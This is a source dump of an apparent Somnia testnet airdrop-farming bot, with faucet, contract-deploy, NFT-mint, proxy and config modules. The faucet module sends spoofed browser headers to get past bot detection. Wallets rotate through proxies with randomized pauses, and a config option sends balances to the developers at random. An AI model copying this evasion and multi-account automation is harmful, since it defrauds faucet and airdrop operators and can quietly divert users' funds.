111 | # Если хеши совпадают - у нас последняя версия
112 | if local_hash == github_hash:
113 | return (
114 | True,
115 | f"✅ You have the latest version (commit from {formatted_date})",
116 | )
117 |
118 | # Если хеши разные - нужно обновление
119 | return (
120 | False,
121 | f"⚠️ Update available!\n"
122 | f"📅 Latest update released: {formatted_date}\n"
123 | f"ℹ️ To update, use: git pull\n"
124 | f"📥 Or download from: https://github.com/Dcurig/Somnia-Auto",
125 | )
126 |
127 | except Exception as e:
128 | print(f"❌ Error comparing versions: {e}")
129 | return False, "Error comparing versions"
130 |
131 |
132 | def save_current_version(commit_hash: str, commit_date: str) -> None:
133 | """
134 | Save current version info to version.txt
135 | """
136 | try:
137 | version_file = os.path.join(
138 | os.path.dirname(__file__), "..", "version.txt"
139 | ) # Changed path to /src
140 | with open(version_file, "w") as f:
141 | f.write(f"{commit_hash},{commit_date}")
142 | except Exception as e:
143 | print(f"❌ Error saving version info: {e}")
144 |
145 |
146 | async def check_version(repo_owner: str, repo_name: str) -> bool:
147 | """
148 | Main function to check versions and print status
149 | """
150 | print("🔍 Checking version...")
151 |
152 | # Получаем информацию о последнем коммите с GitHub
153 | github_hash, github_date, commit_message = await get_github_last_commit(
154 | repo_owner, repo_name
155 | )
156 |
157 | # Получаем локальную версию
158 | local_hash, local_date = get_local_commit_info()
159 |
160 | # Если это первый запуск
161 | if local_hash is None:
162 | save_current_version(github_hash, github_date)
163 | github_dt = datetime.fromisoformat(github_date.replace("Z", "+00:00"))
164 | formatted_date = github_dt.strftime("%d.%m.%Y %H:%M UTC")
165 | print(
166 | f"📥 Initializing version tracking...\n"
167 | f"📅 Current version from: {formatted_date} \n"
168 | f"✅ You have the latest version (commit from {formatted_date})",
169 | )
170 | return True
171 | # Сравниваем версии
172 | is_latest, message = await compare_versions(
173 | local_date, github_date, local_hash, github_hash, commit_message
174 | )
175 | print(message)
176 |
177 | # Если версии разные, обновляем локальную версию
178 | if not is_latest:
179 | save_current_version(github_hash, github_date)
180 |
181 | return is_latest
182 |
183 |
--------------------------------------------------------------------------------
/src/model/somnia_network/faucet.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | import random
3 | from loguru import logger
4 | from eth_account import Account
5 | from src.model.help.captcha import NoCaptcha
6 | from src.model.onchain.web3_custom import Web3Custom
7 | import primp
8 |
9 | from src.utils.decorators import retry_async
10 | from src.utils.config import Config
11 | from src.model.somnia_network.constants import SomniaProtocol
12 | from src.utils.constants import EXPLORER_URL_SOMNIA
13 |
14 |
15 | class FaucetService:
16 | def __init__(self, somnia_instance: SomniaProtocol):
17 | self.somnia = somnia_instance
18 |
19 | @retry_async(default_value=False)
20 | async def request_faucet(self):
21 | try:
22 | logger.info(f"{self.somnia.account_index} | Starting faucet...")
23 |
24 | headers = {
25 | 'accept': '*/*',
26 | 'accept-language': 'en-IE,en;q=0.9',
27 | 'content-type': 'application/json',
28 | 'origin': 'https://testnet.somnia.network',
29 | 'priority': 'u=1, i',
30 | 'referer': 'https://testnet.somnia.network/',
31 | 'sec-ch-ua': '"Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"',
32 | 'sec-ch-ua-mobile': '?0',
33 | 'sec-ch-ua-platform': '"Windows"',
34 | 'sec-fetch-dest': 'empty',
35 | 'sec-fetch-mode': 'cors',
36 | 'sec-fetch-site': 'same-origin',
37 | "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
38 | }
39 |
40 | json_data = {
41 | "address": self.somnia.wallet.address,
42 | }
43 |
44 | response = await self.somnia.session.post(
45 | "https://testnet.somnia.network/api/faucet",
46 | headers=headers,
47 | json=json_data,
48 | )
49 |
50 | if "Bot detected" in response.text:
51 | logger.error(f"{self.somnia.account_index} | Your wallet is not available for the faucet. Wallet must have some transactions")
52 | return False
53 |
54 | if response.status_code != 200:
55 | raise Exception(
56 | f"failed to request faucet: {response.status_code} | {response.text}"
57 | )
58 |
59 | if response.json()["success"]:
60 | logger.success(
61 | f"{self.somnia.account_index} | Successfully requested faucet"
62 | )
63 | return True
64 | elif "Please wait 24 hours between requests" in response.text:
65 | logger.success(
66 | f"{self.somnia.account_index} | Wait 24 hours before next request"
67 | )
68 | return True
69 | else:
70 | raise Exception(
71 | f"failed to request faucet: {response.status_code} | Message: {response.json()['message']} | Status: {response.json()['data']['status']}"
72 | )
73 |
74 | except Exception as e:
75 | random_pause = random.randint(
76 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0],
77 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1],
78 | )
79 | logger.error(
80 | f"{self.somnia.account_index} | Faucet error: {e}. Sleeping {random_pause} seconds..."
81 | )
82 | await asyncio.sleep(random_pause)
83 | return False
84 |
85 | async def request_ping_pong_faucet(self):
86 | try:
87 | logger.info(
88 | f"{self.somnia.account_index} | Starting PING and PONG tokens faucet..."
89 | )
90 |
91 | # Mint PING token first
92 | ping_address = "0x33e7fab0a8a5da1a923180989bd617c9c2d1c493"
93 | ping_result = await self._mint_token(ping_address, "PING")
94 | if not ping_result:
95 | logger.warning(
96 | f"{self.somnia.account_index} | Failed to mint PING token"
97 | )
98 |
99 | # Add a small delay between transactions
100 | random_pause = random.randint(
101 | self.somnia.config.SETTINGS.RANDOM_PAUSE_BETWEEN_ACTIONS[0],
102 | self.somnia.config.SETTINGS.RANDOM_PAUSE_BETWEEN_ACTIONS[1],
103 | )
104 | await asyncio.sleep(random_pause)
105 |
106 | # Then mint PONG token
107 | pong_address = "0x9beaa0016c22b646ac311ab171270b0ecf23098f"
108 | pong_result = await self._mint_token(pong_address, "PONG")
109 | if not pong_result:
110 | logger.warning(
111 | f"{self.somnia.account_index} | Failed to mint PONG token"
112 | )
113 |
114 | # Return True if at least one of the mints succeeded
115 | return ping_result or pong_result
116 |
117 | except Exception as e:
118 | random_pause = random.randint(
119 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0],
120 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1],
121 | )
122 | logger.error(
123 | f"{self.somnia.account_index} | PING/PONG Faucet error: {e}. Sleeping {random_pause} seconds..."
124 | )
125 | await asyncio.sleep(random_pause)
126 | return False
127 |
128 | @retry_async(default_value=False)
129 | async def _mint_token(self, token_address, token_name):
130 | """Helper function to mint a specific token."""
131 | try:
132 | logger.info(f"{self.somnia.account_index} | Minting {token_name} token...")
133 |
134 | # Convert address to checksum format
135 | checksum_address = self.somnia.web3.web3.to_checksum_address(token_address)
136 |
137 | # Mint function has method ID: 0x1249c58b
138 | mint_function_data = "0x1249c58b" # Function signature for mint()
139 |
140 | # Send transaction to call the mint() function
141 | tx_hash = await self.somnia.web3.send_transaction(
142 | to=checksum_address,
143 | data=mint_function_data,
144 | wallet=self.somnia.wallet,
145 | value=0, # No value needed for mint
146 | )
147 |
148 | logger.success(
149 | f"{self.somnia.account_index} | Successfully minted {token_name} token. TX: {EXPLORER_URL_SOMNIA}{tx_hash}"
150 | )
151 | return True
152 |
153 | except Exception as e:
154 | logger.error(
155 | f"{self.somnia.account_index} | Failed to mint {token_name} token: {e}"
156 | )
157 | return False
158 |
--------------------------------------------------------------------------------
/src/model/projects/deploy/onchaingm.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | import random
3 | from loguru import logger
4 | from web3 import Web3
5 | from src.model.somnia_network.constants import SomniaProtocol
6 | from src.utils.decorators import retry_async
7 | from src.utils.constants import EXPLORER_URL_SOMNIA
8 | from eth_account import Account
9 | from src.model.onchain.web3_custom import Web3Custom
10 |
11 |
12 | PAYLOAD = "0x6080604052737500a83df2af99b2755c47b6b321a8217d876a856000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550652d79883d20003410156100a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161009890610170565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc652d79883d20009081150290604051600060405180830381858888f1935050505015801561010d573d6000803e3d6000fd5b50610190565b600082825260208201905092915050565b7f496e73756666696369656e74206465706c6f796d656e74206665650000000000600082015250565b600061015a601b83610113565b915061016582610124565b602082019050919050565b600060208201905081810360008301526101898161014d565b9050919050565b61016b8061019f6000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80634690484014610038578063a8f3225114610059575b600080fd5b610043610074565b60405161004d91906100e6565b60405180910390f35b61006161009b565b60405161006b9190610113565b60405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b652d79883d200081565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100cc826100a5565b9050919050565b6100dc816100c5565b82525050565b60006020820190506100f760008301846100d7565b92915050565b6000819050919050565b61011081610101565b82525050565b600060208201905061012b6000830184610107565b9291505056fea2646970667358221220d08b6ffa72e04c90cdfb72b342dda2a82efd1b23a7f85f2c844f98cd8a915f3964736f6c63430008130033"
13 |
14 |
15 | class OnchainGM:
16 | def __init__(
17 | self, account_index: int, somnia_web3: Web3Custom, config: dict, wallet: Account
18 | ):
19 | self.account_index = account_index
20 | self.somnia_web3 = somnia_web3
21 | self.config = config
22 | self.wallet = wallet
23 |
24 | @retry_async(default_value=False)
25 | async def deploy_onchaingm(self):
26 | try:
27 | logger.info(f"{self.account_index} | Deploying OnchainGM...")
28 | # Prepare transaction
29 | transaction = {
30 | "from": self.wallet.address,
31 | "value": Web3.to_wei(0.00005, "ether"),
32 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count(
33 | self.wallet.address
34 | ),
35 | "chainId": await self.somnia_web3.web3.eth.chain_id,
36 | "data": PAYLOAD,
37 | }
38 |
39 | # Get dynamic gas parameters instead of hardcoded 30 Gwei
40 | gas_params = await self.somnia_web3.get_gas_params()
41 | transaction.update(gas_params)
42 |
43 | # Estimate gas
44 | gas_limit = await self.somnia_web3.estimate_gas(transaction)
45 | transaction["gas"] = gas_limit
46 |
47 | # Execute transaction
48 | tx_hash = await self.somnia_web3.execute_transaction(
49 | transaction,
50 | self.wallet,
51 | await self.somnia_web3.web3.eth.chain_id,
52 | EXPLORER_URL_SOMNIA,
53 | )
54 |
55 | if tx_hash:
56 | logger.success(
57 | f"{self.account_index} | Successfully deployed OnchainGM"
58 | )
59 |
60 | return True
61 | except Exception as e:
62 | random_sleep = random.randint(
63 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0],
64 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1],
65 | )
66 | logger.error(
67 | f"{self.account_index} | Error deploying OnchainGM: {e}. Sleeping for {random_sleep} seconds..."
68 | )
69 | await asyncio.sleep(random_sleep)
70 | return False
71 |
72 | @retry_async(default_value=False)
73 | async def gm(self):
74 | try:
75 | logger.info(f"{self.account_index} | GM on OnchainGM...")
76 |
77 | # YAPPERS contract address
78 | contract_address = "0xA0692f67ffcEd633f9c5CfAefd83FC4F21973D01"
79 |
80 | # Base payload with method ID 0x84bb1e42
81 | payload = "0x5011b71c"
82 |
83 | # Prepare transaction
84 | transaction = {
85 | "from": self.wallet.address,
86 | "to": self.somnia_web3.web3.to_checksum_address(contract_address),
87 | "value": Web3.to_wei(0.000029, "ether"),
88 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count(
89 | self.wallet.address
90 | ),
91 | "chainId": await self.somnia_web3.web3.eth.chain_id,
92 | "data": payload,
93 | }
94 |
95 | # Get dynamic gas parameters instead of hardcoded 30 Gwei
96 | gas_params = await self.somnia_web3.get_gas_params()
97 | transaction.update(gas_params)
98 |
99 | # Estimate gas
100 | estimated = await self.somnia_web3.web3.eth.estimate_gas(transaction)
101 | # Добавляем 10% к estimated gas для безопасности
102 | gas_limit = int(estimated * 2.2)
103 | transaction["gas"] = gas_limit
104 |
105 | # Execute transaction
106 | tx_hash = await self.somnia_web3.execute_transaction(
107 | transaction,
108 | self.wallet,
109 | await self.somnia_web3.web3.eth.chain_id,
110 | EXPLORER_URL_SOMNIA,
111 | )
112 |
113 | if tx_hash:
114 | logger.success(
115 | f"{self.account_index} | Successfully GM on OnchainGM"
116 | )
117 |
118 | return True
119 | except Exception as e:
120 | str_error = str(e)
121 | if "execution reverted" in str_error and "0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000d5761697420323420686f75727300000000000000000000000000000000000000" in str_error:
122 | logger.success(
123 | f"{self.account_index} | Already GMed. Wait 24 hours..."
124 | )
125 | return True
126 |
127 | random_sleep = random.randint(
128 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0],
129 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1],
130 | )
131 | logger.error(
132 | f"{self.account_index} | Error GM on OnchainGM: {e}. Sleeping for {random_sleep} seconds..."
133 | )
134 | await asyncio.sleep(random_sleep)
135 | return False
--------------------------------------------------------------------------------
/src/utils/config.py:
--------------------------------------------------------------------------------
1 | from dataclasses import dataclass, field
2 | from typing import List, Tuple, Optional, Dict
3 | import yaml
4 | from pathlib import Path
5 | import asyncio
6 |
7 |
8 | @dataclass
9 | class SettingsConfig:
10 | THREADS: int
11 | ATTEMPTS: int
12 | ACCOUNTS_RANGE: Tuple[int, int]
13 | EXACT_ACCOUNTS_TO_USE: List[int]
14 | PAUSE_BETWEEN_ATTEMPTS: Tuple[int, int]
15 | PAUSE_BETWEEN_SWAPS: Tuple[int, int]
16 | RANDOM_PAUSE_BETWEEN_ACCOUNTS: Tuple[int, int]
17 | RANDOM_PAUSE_BETWEEN_ACTIONS: Tuple[int, int]
18 | RANDOM_INITIALIZATION_PAUSE: Tuple[int, int]
19 | TELEGRAM_USERS_IDS: List[int]
20 | TELEGRAM_BOT_TOKEN: str
21 | SEND_TELEGRAM_LOGS: bool
22 | SHUFFLE_WALLETS: bool
23 |
24 |
25 | @dataclass
26 | class FlowConfig:
27 | TASKS: List
28 | SKIP_FAILED_TASKS: bool
29 |
30 |
31 | @dataclass
32 | class SomniaSwapsConfig:
33 | BALANCE_PERCENT_TO_SWAP: Tuple[int, int]
34 | NUMBER_OF_SWAPS: Tuple[int, int]
35 | SWAP_ALL_TO_STT: bool
36 |
37 | @dataclass
38 | class SomniaTokenSenderConfig:
39 | BALANCE_PERCENT_TO_SEND: Tuple[float, float]
40 | NUMBER_OF_SENDS: Tuple[int, int]
41 | SEND_ALL_TO_DEVS_CHANCE: int
42 |
43 |
44 | @dataclass
45 | class SomniaCampaignsConfig:
46 | REPLACE_FAILED_TWITTER_ACCOUNT: bool
47 |
48 |
49 | @dataclass
50 | class SomniaNetworkConfig:
51 | SOMNIA_SWAPS: SomniaSwapsConfig
52 | SOMNIA_TOKEN_SENDER: SomniaTokenSenderConfig
53 | SOMNIA_CAMPAIGNS: SomniaCampaignsConfig
54 |
55 |
56 | @dataclass
57 | class RpcsConfig:
58 | SOMNIA: List[str]
59 |
60 |
61 | @dataclass
62 | class OthersConfig:
63 | SKIP_SSL_VERIFICATION: bool
64 | USE_PROXY_FOR_RPC: bool
65 |
66 |
67 | @dataclass
68 | class WalletInfo:
69 | account_index: int
70 | private_key: str
71 | address: str
72 | balance: float
73 | transactions: int
74 |
75 |
76 | @dataclass
77 | class WalletsConfig:
78 | wallets: List[WalletInfo] = field(default_factory=list)
79 |
80 |
81 | @dataclass
82 | class QuillsConfig:
83 | QUILLS_MESSAGES: List[str] = field(
84 | default_factory=lambda: [
85 | "Hello",
86 | ]
87 | )
88 |
89 |
90 | @dataclass
91 | class Config:
92 | SETTINGS: SettingsConfig
93 | FLOW: FlowConfig
94 | SOMNIA_NETWORK: SomniaNetworkConfig
95 | RPCS: RpcsConfig
96 | OTHERS: OthersConfig
97 | WALLETS: WalletsConfig = field(default_factory=WalletsConfig)
98 | lock: asyncio.Lock = field(default_factory=asyncio.Lock)
99 | QUILLS: QuillsConfig = field(default_factory=QuillsConfig)
100 | spare_twitter_tokens: List[str] = field(default_factory=list)
101 |
102 | @classmethod
103 | def load(cls, path: str = "config.yaml") -> "Config":
104 | """Load configuration from yaml file"""
105 | with open(path, "r", encoding="utf-8") as file:
106 | data = yaml.safe_load(file)
107 |
108 | # Load tasks from tasks.py
109 | try:
110 | import tasks
111 |
112 | if hasattr(tasks, "TASKS"):
113 | tasks_list = tasks.TASKS
114 |
115 | else:
116 | error_msg = "No TASKS list found in tasks.py"
117 | print(f"Error: {error_msg}")
118 | raise ValueError(error_msg)
119 | except ImportError as e:
120 | error_msg = f"Could not import tasks.py: {e}"
121 | print(f"Error: {error_msg}")
122 | raise ImportError(error_msg) from e
123 |
124 | return cls(
125 | SETTINGS=SettingsConfig(
126 | THREADS=data["SETTINGS"]["THREADS"],
127 | ATTEMPTS=data["SETTINGS"]["ATTEMPTS"],
128 | ACCOUNTS_RANGE=tuple(data["SETTINGS"]["ACCOUNTS_RANGE"]),
129 | EXACT_ACCOUNTS_TO_USE=data["SETTINGS"]["EXACT_ACCOUNTS_TO_USE"],
130 | PAUSE_BETWEEN_ATTEMPTS=tuple(
131 | data["SETTINGS"]["PAUSE_BETWEEN_ATTEMPTS"]
132 | ),
133 | PAUSE_BETWEEN_SWAPS=tuple(data["SETTINGS"]["PAUSE_BETWEEN_SWAPS"]),
134 | RANDOM_PAUSE_BETWEEN_ACCOUNTS=tuple(
135 | data["SETTINGS"]["RANDOM_PAUSE_BETWEEN_ACCOUNTS"]
136 | ),
137 | RANDOM_PAUSE_BETWEEN_ACTIONS=tuple(
138 | data["SETTINGS"]["RANDOM_PAUSE_BETWEEN_ACTIONS"]
139 | ),
140 | RANDOM_INITIALIZATION_PAUSE=tuple(
141 | data["SETTINGS"]["RANDOM_INITIALIZATION_PAUSE"]
142 | ),
143 | TELEGRAM_USERS_IDS=data["SETTINGS"]["TELEGRAM_USERS_IDS"],
144 | TELEGRAM_BOT_TOKEN=data["SETTINGS"]["TELEGRAM_BOT_TOKEN"],
145 | SEND_TELEGRAM_LOGS=data["SETTINGS"]["SEND_TELEGRAM_LOGS"],
146 | SHUFFLE_WALLETS=data["SETTINGS"].get("SHUFFLE_WALLETS", True),
147 | ),
148 | FLOW=FlowConfig(
149 | TASKS=tasks_list,
150 | SKIP_FAILED_TASKS=data["FLOW"]["SKIP_FAILED_TASKS"],
151 | ),
152 | SOMNIA_NETWORK=SomniaNetworkConfig(
153 | SOMNIA_SWAPS=SomniaSwapsConfig(
154 | BALANCE_PERCENT_TO_SWAP=tuple(
155 | data["SOMNIA_NETWORK"]["SOMNIA_SWAPS"][
156 | "BALANCE_PERCENT_TO_SWAP"
157 | ]
158 | ),
159 | NUMBER_OF_SWAPS=tuple(
160 | data["SOMNIA_NETWORK"]["SOMNIA_SWAPS"]["NUMBER_OF_SWAPS"]
161 | ),
162 | SWAP_ALL_TO_STT=data["SOMNIA_NETWORK"]["SOMNIA_SWAPS"]["SWAP_ALL_TO_STT"],
163 | ),
164 | SOMNIA_TOKEN_SENDER=SomniaTokenSenderConfig(
165 | BALANCE_PERCENT_TO_SEND=tuple(
166 | data["SOMNIA_NETWORK"]["SOMNIA_TOKEN_SENDER"][
167 | "BALANCE_PERCENT_TO_SEND"
168 | ]
169 | ),
170 | NUMBER_OF_SENDS=tuple(
171 | data["SOMNIA_NETWORK"]["SOMNIA_TOKEN_SENDER"]["NUMBER_OF_SENDS"]
172 | ),
173 | SEND_ALL_TO_DEVS_CHANCE=data["SOMNIA_NETWORK"][
174 | "SOMNIA_TOKEN_SENDER"
175 | ]["SEND_ALL_TO_DEVS_CHANCE"],
176 | ),
177 | SOMNIA_CAMPAIGNS=SomniaCampaignsConfig(
178 | REPLACE_FAILED_TWITTER_ACCOUNT=data["SOMNIA_NETWORK"][
179 | "SOMNIA_CAMPAIGNS"
180 | ]["REPLACE_FAILED_TWITTER_ACCOUNT"],
181 | ),
182 | ),
183 | RPCS=RpcsConfig(
184 | SOMNIA=data["RPCS"]["SOMNIA"],
185 | ),
186 | OTHERS=OthersConfig(
187 | SKIP_SSL_VERIFICATION=data["OTHERS"]["SKIP_SSL_VERIFICATION"],
188 | USE_PROXY_FOR_RPC=data["OTHERS"]["USE_PROXY_FOR_RPC"],
189 | ),
190 | )
191 |
192 |
193 | # Singleton pattern
194 | def get_config() -> Config:
195 | """Get configuration singleton"""
196 | if not hasattr(get_config, "_config"):
197 | get_config._config = Config.load()
198 | return get_config._config
199 |
--------------------------------------------------------------------------------
/src/utils/proxy_parser.py:
--------------------------------------------------------------------------------
1 | import re
2 | import random
3 | import string
4 | from pathlib import Path
5 | from typing import Literal, TypedDict, Union
6 |
7 | from pydantic import BaseModel, Field, field_validator
8 | from pydantic.networks import HttpUrl, IPv4Address
9 |
10 |
11 | Protocol = Literal["http", "https"]
12 | PROXY_FORMATS_REGEXP = [
13 | re.compile(
14 | r"^(?:(?P.+)://)?" # Опционально: протокол
15 | r"(?P[^@:]+)" # Логин (не содержит ':' или '@')
16 | r":(?P[^@]+)" # Пароль (может содержать ':', но не '@')
17 | r"[@:]" # Символ '@' или ':' как разделитель
18 | r"(?P[^@:\s]+)" # Хост (не содержит ':' или '@')
19 | r":(?P\d{1,5})" # Порт: от 1 до 5 цифр
20 | r"(?:\[(?Phttps?://[^\s\]]+)\])?$" # Опционально: [refresh_url]
21 | ),
22 | re.compile(
23 | r"^(?:(?P.+)://)?" # Опционально: протокол
24 | r"(?P[^@:\s]+)" # Хост (не содержит ':' или '@')
25 | r":(?P\d{1,5})" # Порт: от 1 до 5 цифр
26 | r"[@:]" # Символ '@' или ':' как разделитель
27 | r"(?P[^@:]+)" # Логин (не содержит ':' или '@')
28 | r":(?P[^@]+)" # Пароль (может содержать ':', но не '@')
29 | r"(?:\[(?Phttps?://[^\s\]]+)\])?$" # Опционально: [refresh_url]
30 | ),
31 | re.compile(
32 | r"^(?:(?P.+)://)?" # Опционально: протокол
33 | r"(?P[^@:\s]+)" # Хост (не содержит ':' или '@')
34 | r":(?P\d{1,5})" # Порт: от 1 до 5 цифр
35 | r"(?:\[(?Phttps?://[^\s\]]+)\])?$" # Опционально: [refresh_url]
36 | ),
37 | ]
38 |
39 |
40 | class ParsedProxy(TypedDict):
41 | host: str
42 | port: int
43 | protocol: Protocol | None
44 | login: str | None
45 | password: str | None
46 | refresh_url: str | None
47 |
48 |
49 | def parse_proxy_str(proxy: str) -> ParsedProxy:
50 | if not proxy:
51 | raise ValueError(f"Proxy cannot be an empty string")
52 |
53 | for pattern in PROXY_FORMATS_REGEXP:
54 | match = pattern.match(proxy)
55 | if match:
56 | groups = match.groupdict()
57 | return {
58 | "host": groups["host"],
59 | "port": int(groups["port"]),
60 | "protocol": groups.get("protocol"),
61 | "login": groups.get("login"),
62 | "password": groups.get("password"),
63 | "refresh_url": groups.get("refresh_url"),
64 | }
65 |
66 | raise ValueError(f"Unsupported proxy format: '{proxy}'")
67 |
68 |
69 | def _load_lines(filepath: Path | str) -> list[str]:
70 | with open(filepath, "r") as file:
71 | return [line.strip() for line in file.readlines() if line != "\n"]
72 |
73 |
74 | class PlaywrightProxySettings(TypedDict, total=False):
75 | server: str
76 | bypass: str | None
77 | username: str | None
78 | password: str | None
79 |
80 |
81 | class Proxy(BaseModel):
82 | host: str
83 | port: int = Field(gt=0, le=65535)
84 | protocol: Protocol = "http"
85 | login: str | None = None
86 | password: str | None = None
87 | refresh_url: str | None = None
88 |
89 | @field_validator("host")
90 | def host_validator(cls, v):
91 | if v.replace(".", "").isdigit():
92 | IPv4Address(v)
93 | else:
94 | HttpUrl(f"http://{v}")
95 | return v
96 |
97 | @field_validator("refresh_url")
98 | def refresh_url_validator(cls, v):
99 | if v:
100 | HttpUrl(v)
101 | return v
102 |
103 | @field_validator("protocol")
104 | def protocol_validator(cls, v):
105 | if v not in ["http", "https"]:
106 | raise ValueError("Only http and https protocols are supported")
107 | return v
108 |
109 | @classmethod
110 | def from_str(cls, proxy: Union[str, "Proxy"]) -> "Proxy":
111 | if proxy is None:
112 | raise ValueError("Proxy cannot be None")
113 |
114 | if isinstance(proxy, (cls, Proxy)):
115 | return proxy
116 |
117 | parsed_proxy = parse_proxy_str(proxy)
118 | parsed_proxy["protocol"] = parsed_proxy["protocol"] or "http"
119 | return cls(**parsed_proxy)
120 |
121 | @classmethod
122 | def from_file(cls, filepath: Path | str) -> list["Proxy"]:
123 | path = Path(filepath)
124 | if not path.exists():
125 | raise FileNotFoundError(f"Proxy file not found: {filepath}")
126 | return [cls.from_str(proxy) for proxy in _load_lines(path)]
127 |
128 | @property
129 | def as_url(self) -> str:
130 | return (
131 | f"{self.protocol}://"
132 | + (f"{self.login}:{self.password}@" if self.login and self.password else "")
133 | + f"{self.host}:{self.port}"
134 | )
135 |
136 | @property
137 | def server(self) -> str:
138 | return f"{self.protocol}://{self.host}:{self.port}"
139 |
140 | @property
141 | def as_playwright_proxy(self) -> PlaywrightProxySettings:
142 | return PlaywrightProxySettings(
143 | server=self.server,
144 | password=self.password,
145 | username=self.login,
146 | )
147 |
148 | @property
149 | def as_proxies_dict(self) -> dict:
150 | """Returns a dictionary of proxy settings in a format that can be used with the `requests` library.
151 |
152 | The dictionary will have the following format:
153 |
154 | - If the proxy protocol is "http", "https", or not specified, the dictionary will have the keys "http" and "https" with the proxy URL as the value.
155 | - If the proxy protocol is a different protocol (e.g., "socks5"), the dictionary will have a single key with the protocol name and the proxy URL as the value.
156 | """
157 | proxies = {}
158 | if self.protocol in ("http", "https", None):
159 | proxies["http"] = self.as_url
160 | proxies["https"] = self.as_url
161 | elif self.protocol:
162 | proxies[self.protocol] = self.as_url
163 | return proxies
164 |
165 | @property
166 | def fixed_length(self) -> str:
167 | return f"[{self.host:>15}:{str(self.port):<5}]".replace(" ", "_")
168 |
169 | def __repr__(self):
170 | if self.refresh_url:
171 | return f"Proxy({self.as_url}, [{self.refresh_url}])"
172 |
173 | return f"Proxy({self.as_url})"
174 |
175 | def __str__(self) -> str:
176 | return self.as_url
177 |
178 | def __hash__(self):
179 | return hash(
180 | (
181 | self.host,
182 | self.port,
183 | self.protocol,
184 | self.login,
185 | self.password,
186 | self.refresh_url,
187 | )
188 | )
189 |
190 | def __eq__(self, other):
191 | if isinstance(other, Proxy):
192 | return (
193 | self.host == other.host
194 | and self.port == other.port
195 | and self.protocol == other.protocol
196 | and self.login == other.login
197 | and self.password == other.password
198 | and self.refresh_url == other.refresh_url
199 | )
200 | return False
201 |
202 | def get_default_format(self) -> str:
203 | """Returns proxy string in format user:pass@ip:port"""
204 | if not (self.login and self.password):
205 | raise ValueError("Proxy must have login and password")
206 | return f"{self.login}:{self.password}@{self.host}:{self.port}"
207 |
--------------------------------------------------------------------------------
/src/model/projects/mints/nerzo.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | import random
3 | from loguru import logger
4 | from web3 import Web3
5 | from src.model.somnia_network.constants import SomniaProtocol
6 | from src.utils.decorators import retry_async
7 | from src.utils.constants import EXPLORER_URL_SOMNIA
8 | from eth_account import Account
9 | from src.model.onchain.web3_custom import Web3Custom
10 |
11 |
12 | class Nerzo:
13 | def __init__(
14 | self, account_index: int, somnia_web3: Web3Custom, config: dict, wallet: Account
15 | ):
16 | self.account_index = account_index
17 | self.somnia_web3 = somnia_web3
18 | self.config = config
19 | self.wallet = wallet
20 |
21 | @retry_async(default_value=False)
22 | async def mint_nee(self):
23 | try:
24 | logger.info(f"{self.account_index} | Minting NEE NFT on Nerzo...")
25 |
26 | # NEE contract address
27 | contract_address = "0x939cCD6129561EFcBE8402a7159C1c09b9D34231"
28 |
29 | # Wallet address without 0x prefix in lowercase
30 | wallet_address_no_prefix = self.wallet.address[2:].lower()
31 |
32 | # Base payload with method ID 0x84bb1e42
33 | payload = (
34 | "0x84bb1e42"
35 | "000000000000000000000000"
36 | + wallet_address_no_prefix
37 | + "0000000000000000000000000000000000000000000000000000000000000001"
38 | "000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"
39 | "0000000000000000000000000000000000000000000000000000000000000000"
40 | "00000000000000000000000000000000000000000000000000000000000000c0"
41 | "0000000000000000000000000000000000000000000000000000000000000160"
42 | "0000000000000000000000000000000000000000000000000000000000000080"
43 | "0000000000000000000000000000000000000000000000000000000000000000"
44 | "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
45 | "0000000000000000000000000000000000000000000000000000000000000000"
46 | "0000000000000000000000000000000000000000000000000000000000000000"
47 | "0000000000000000000000000000000000000000000000000000000000000000"
48 | )
49 |
50 | # Prepare transaction
51 | transaction = {
52 | "from": self.wallet.address,
53 | "to": self.somnia_web3.web3.to_checksum_address(contract_address),
54 | "value": 0, # 0 STT as in the example transaction
55 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count(
56 | self.wallet.address
57 | ),
58 | "chainId": await self.somnia_web3.web3.eth.chain_id,
59 | "data": payload,
60 | }
61 |
62 | # Get dynamic gas parameters instead of hardcoded 30 Gwei
63 | gas_params = await self.somnia_web3.get_gas_params()
64 | transaction.update(gas_params)
65 |
66 | # Estimate gas
67 | gas_limit = await self.somnia_web3.estimate_gas(transaction)
68 | transaction["gas"] = gas_limit
69 |
70 | # Execute transaction
71 | tx_hash = await self.somnia_web3.execute_transaction(
72 | transaction,
73 | self.wallet,
74 | await self.somnia_web3.web3.eth.chain_id,
75 | EXPLORER_URL_SOMNIA,
76 | )
77 |
78 | if tx_hash:
79 | logger.success(f"{self.account_index} | Successfully minted NEE NFT")
80 |
81 | return True
82 | except Exception as e:
83 | random_sleep = random.randint(
84 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0],
